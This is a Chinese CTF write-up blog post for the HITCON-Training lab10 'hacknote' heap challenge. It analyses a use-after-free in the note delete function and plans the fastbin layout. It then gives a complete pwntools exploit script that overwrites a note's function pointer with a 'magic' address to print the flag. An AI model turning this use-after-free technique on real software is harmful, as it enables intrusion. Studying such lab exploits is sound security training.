美文网首页
HITCON-Training WP lab10

HITCON-Training WP lab10

作者: 111p1kk | 来源:发表于2019-06-13 20:50 被阅读0次

题目链接及环境设置

23R3F
Veritas501
在以上大佬的博客也学习到了很多,他们也有不同的见解和方法

lab10

0x01分析

checksec

kk@ubuntu:~/Desktop/black/others/hitcon/LAB/lab10$ checksec hacknote
[*] '/home/kk/Desktop/black/others/hitcon/LAB/lab10/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

ida

int menu()
{
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  return printf("Your choice :");
}

考察堆的uaf漏洞,程序具有增删查的功能
add_note

Add
第一个malloc(8)用来存储函数指针。
第二个malloc(size)用来存储我们输入的content,且size没有限制。
del_note
Delete
free两个堆块后没有将指针设置为NULL,所以可以Use After Free
print_note
Print
调用函数指针,打印出chunk内容。
magic
这道题直接给出了。。。
cat flag

0x02利用思路

新建两个note

index 0: malloc(8)===>Ⅰ
         malloc(size)===>Ⅱ(随意)
index 1: malloc(8)===>Ⅲ
         malloc(size)===>Ⅳ(大于fastbin,可以丢出去)

free时,先free了content再free函数指针。再结合add_note,我们构造时需要chunk的第一块随意,第二块为原来用于存放函数指针的chunk
这样,先del_note(0) 再del_note(1)时

  fastbin中        |        其他
Ⅲ:1 的函数指针    |    Ⅳ:1的content
Ⅰ:0 的函数指针    |    Ⅱ:0的content

所以此时再add_note,malloc(8)时会先用Ⅲ(此处存放puts函数指针),malloc(8)(此处为新note的content)用Ⅰ,我们可以填入magic函数,这样print_note(index 0)时,原本要调用的puts函数指针就被替换成了system,这样就可以cat flag啦!

0x03攻击exp

#!/usr/bin/env python

from pwn import *

HOST = " "
PORT = " "

context.log_level = "debug"

# p = remote(HOST, PORT)
p = process("./hacknote")

def add_note(size,content):
    p.recvuntil(":")
    p.sendline("1")
    p.recvuntil(":")
    p.sendline(str(size))
    p.recvuntil(":")
    p.sendline(content)

def del_note(index):
    p.recvuntil(":")
    p.sendline("2")
    p.recvuntil(":")
    p.sendline(str(index))

def print_note(index):
    p.recvuntil(":")
    p.sendline("3")
    p.recvuntil(":")
    p.sendline(str(index))

magic = 0x08048986
# system = 0x8048506

add_note(0x1000,"aaaa")     #index 0
add_note(0x1000,"aaaa")     #index 1


del_note(0)
del_note(1)

add_note(8,p32(magic))
print_note(0)

p.interactive()

有人说这道题有问题喔....

相关文章

网友评论

      本文标题:HITCON-Training WP lab10

      本文链接:https://www.haomeiwen.com/subject/eihjfctx.html